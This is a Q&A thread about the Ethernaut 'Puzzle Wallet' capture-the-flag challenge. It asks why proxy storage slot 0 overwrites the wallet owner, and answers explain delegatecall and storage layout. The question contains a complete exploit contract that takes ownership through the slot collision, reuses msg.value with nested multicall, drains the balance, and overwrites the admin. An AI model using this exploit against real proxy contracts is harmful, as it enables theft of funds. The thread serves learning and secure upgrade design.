1

Please bear with me in this. I tried to understand it myself, but I couldn't.
I'm playing the Ethernaut challenges(a series of contracts hacking), and I'm solving the challenge 24 - Puzzle Wallet- that speaks about upgrading smart contracts using Proxy contracts. Here's the contract's code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}


contract PuzzleProxyAttack {
    PuzzleProxy public target;

    constructor(PuzzleProxy _target) {
        target = PuzzleProxy(_target);
    }

    function attack() external {

        // Take the ownerhip of the implementation contract(PuzzleWallet)
        target.proposeNewAdmin(address(this));
            
        // Add ourselves to the whitelist
        target.addToWhitelist(address(this));

        // Reduce the contract's balance to 0
        
            // Deposit to the contract once, and update our balance twice

        bytes[] memory deposit_data = new bytes[](1);
        deposit_data[0] = abi.encodeWithSignature("deposit()");

        bytes[] memory data = new bytes[](2);
        data[0] = deposit_data[0];
        data[1] = abi.encodeWithSignature("multicall(bytes[])", data);

        target.multicall{value: 0.001 ether}(data);

            // Drain all the balance

        target.execute(address(this), 0.002 ether, "");

        // Set the admin
        target.setMaxBalance(uint256(uint160(address(this))));

        require(target.admin() == address(this), "Hack failed!");
    }
}

I checked solutions out there, and at some point in the solution workflow they said to change the owner state inside the PuzzleWallet contract, we just need to update the pendingAdmin state in PuzzleProxy contract by calling the proposeNewAdmin function.
My question is: why by changing the pendingAdmin(slot 0) in the PuzzleProxy contract, it affects the owner state(slot 0) in the PuzzleWallet contract even tho there's no delegatecall when calling the proposeNewAdmin ? I'm aware of delegatecall and that it preserves the context, but here we're calling a function inside the proxy contract and it does not delegatecall, I would understand it if we delegatecall the function proposeNewAdmin from the PuzzleWallet: address(PuzzleProxy).delegatecall(abi.encodeWithSignature('proposeNewAdmin(address)', argument)); in such scenario, we would execute the proposeNewAdmin in the context of the PuzzleWallet, so by updating the slot 0 in PuzzleProxy, we are updating the slot 0 in the PuzzleWallet. BUT, this is not the case, we called a function in the PuzzleProxy.

I did several searches and I found that both contracts point to the same Storage layout, but I didn't find an explanation on how is that possible? since both contracts are deployed independently, they should have their own storage layout. Am I missing something?

4
  • I had the same question. One thing to notice is that the puzzleProxy is inheriting an upgradeableproxy, this might be a hint to the answer but I am not sure, I left it for later when nobody answered it correctly :( Maybe we can find out together. Commented May 11, 2023 at 9:58
  • pendingAdmin is in slot 0. owner is in slot 0. Both are jn the Proxy's storage space. Overwrite of one is overwrite of the other. Commented May 13, 2023 at 5:42
  • @RobHitchens, how can both proxy and implementation share the same storage space while they are deployed independently? Commented May 13, 2023 at 10:42
  • Because the whole purpose of a Proxy of this type is to use delegateCall to execute the code found in another location in the context of the Proxy contract. It's a tricky concept. My answer is my best attempt to explain this. Commented May 13, 2023 at 21:48

3 Answers 3

4

good question, yes you are right the proxy contract and the implementation are deployed independently and have different storage layouts.

The magic here is, that when calling the Proxy contract, behind the scenes, the contract uses delegateCall() to call the implementation and delegateCall()runs the implementation code, but within the context of the proxy, it means that the implementation contract would normally never update the state/storage.

you can think about the implementation like a library of code that the Proxy takes and execute in the Proxy Context.

Hope it clarifies a bit!

1
  • As far as I understood from the OpeznZippleing proxy's implementation, delegatecall happens on the fallback function of the proxy contract, which makes sense. But here, we called the proposeNewAdmin which exists in the proxy contract, and inside, we're not delegatingcall to the PuzzleWallet. Commented May 11, 2023 at 21:22
1

It's a good question and it's important knowledge if one is to work safely with upgradeable contracts using the Proxy pattern.

This summary is meant to be cognitively light-weight so you get the idea. It may not be satisfactory for those looking for a technical explanation of what the compiler is really doing.

First, a suitable mental model is this: "the proxy imports executable code from the implementation and runs it". This is, of course, nothing like how delegatecall runs things, but it is easy to grasp and won't lead you astray about what you need to think about.

  • The context. msg.sender is whatever called the Proxy
  • The storage. The code is running over Proxy's storage
  • The Proxy does what the Implementation tells it to do

Storage concerns

There are limitations and pitfalls that must be understand because the worst-case scenario is that you catastrophically hose the storage in your contract. To understand what's going on, we need another mental model about what the compiler does with named variables.

Each variable is assigned a "slot". These are in the order they are found in the source.

contract Foo {
  uint foo; // slot 0
  bool bar; // slot 1
}

But what exactly is a "slot"? Consider a hash table of key/value pairs.

hash(0) => value for foo
hash(1) => value for bar

Further consider that the blockchain has an overall state and we need to separate the storage space for each contract. Easy!

hash(address.this, 0) => value for foo;
hash(address.this, 1) => value for bar;

For arrays and mappings we just add an index value to the key:

contract Foo {
  uint foo; // slot 0
  bool bar; // slot 1
  mapping(uint256 => bool) guh; // slot2
}
hash(address.this, 2, 99) => value for guh[99]

That is a rough and low-level approximation of how the compiler translates variable declarations into locations in the EVM storage space. Yes, all the contract storage is mapped over a shared namespace with 256-bit keys, approximately like that. It relies heavily on the unlikelihood of a hash collision.

Given this background, it is easy to see that any code in the implementation contract will directly read/write from/to locations in storage that are known only by keys that the compiler has worked out. This is done without any consideration of what might have been placed there by a previous implementation, and that's where the danger lies. You can easily overwrite something important, including something the Proxy tried to record, or something a previous implementation recorded.

We need to be sure that doesn't happen.

OpenZeppelin's Proxy ERC1967Upgrade.sol contract is part of their modular Proxy contracts. It's concerned with holding the address of the implementation in the Proxy.

    /**
     * @dev Storage slot with the address of the current implementation.
     * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
     * validated in the constructor.
     */
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    /**
     * @dev Returns the current implementation address.
     */
    function _getImplementation() internal view returns (address) {
        return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
    }

    /**
     * @dev Stores a new address in the EIP1967 implementation slot.
     */
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
    }

You might ask yourself why they manually set/get to/from a slot. The reason is there is literally no way for that contract to declare a variable that won't be overwritten by the implementation contract. So they don't. They record it in their own self-selected location that the compiler is unlikely to be interested in - safely out of harm's way.

Great. So the proxy has an implementation address but it doesn't rely on any vulnerable "variables".

What about safe upgrades? Could an implementation scramble the data? Sure:

contract Old {
  uint foo; // slot 0
  bool bar; // slot 1
}

contract New {
  address owner; // slot 0, contains old value "foo" interpreted as an address
  uint foo; // slot 1, contains old value "bar" interpreted as a uint
  bool bar; // slot 2, false

Yikes! What a mess. This is happening because when New was compiled, the compiler had no way of knowing that Old's storage layout should be respected. That responsibility falls on the developer.

When developing an upgraded implementation, one can observe hygiene rules:

  • Declare all the same variables, in the same order
  • Add new variables last

That's easier said than done when dealing with multiple inherited contracts, each with their own storage concerns. It's error prone and tedious to confirm all the names resolve to the same slots as before.

A safe way to do it is to inherit the Old contract in the New contract. That covers the hygiene and consistency concerns for you in a reliable way. In other words, you'll be sure everything lines up by just looking at the structure.

contract Old {
  uint foo;
  bool bar;
}

contract New is Old {
  address owner
}

You can be quite confident that foo and bar will be unperturbed by the upgrade and owner is predictably initialized to address(0).

That's a non-exhaustive list of concerns and style considerations and a little bit misleading about how the compiler and the EVM work together to determine precisely where values are stored, but it should help you understand more detailed explanations.

Something to think about:

Given:

contract A { ...

contract B is A ( ...

If contract A is replaced by NewA and NewA declares new variables, does this disturb the storage layout in NewB? Even if contract NewB is B? Yes, it does unless A is written with this possibility in mind.

Hope it helps.

1
  • Thank you for the explanation. However, it doesn't explain why the owner state is updated when we changed the pendingAdmin. When we called that function, the proxy will not delegatecall to the implementation(the fallback method won't be executed), so we would normally update the storage of the proxy. Why the storage of the implementation was changed? Commented May 12, 2023 at 19:19
0

When a function is executed using delegatecall, the storage of the calling contract is used. Since both owner in the implementation contract and pendingAdmin in proxy contract are pointing to slot zero, when you update pendingAdmin on the proxy using proposeNewAdmin, you are also overwriting the owner. This happens because when the owner is used in the implementation contract through a delegatecall from the proxy, it does that using the storage of the proxy which in this case also has pendingAdmin variable using the same slot.

To avoid this conflict, pendingAdmin and any other proxy storage variables must be written to distinct slots. The same solution used by ERC1967Upgrade to store the implementation address as indicated in the previous post. You just need to use the same strategy.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.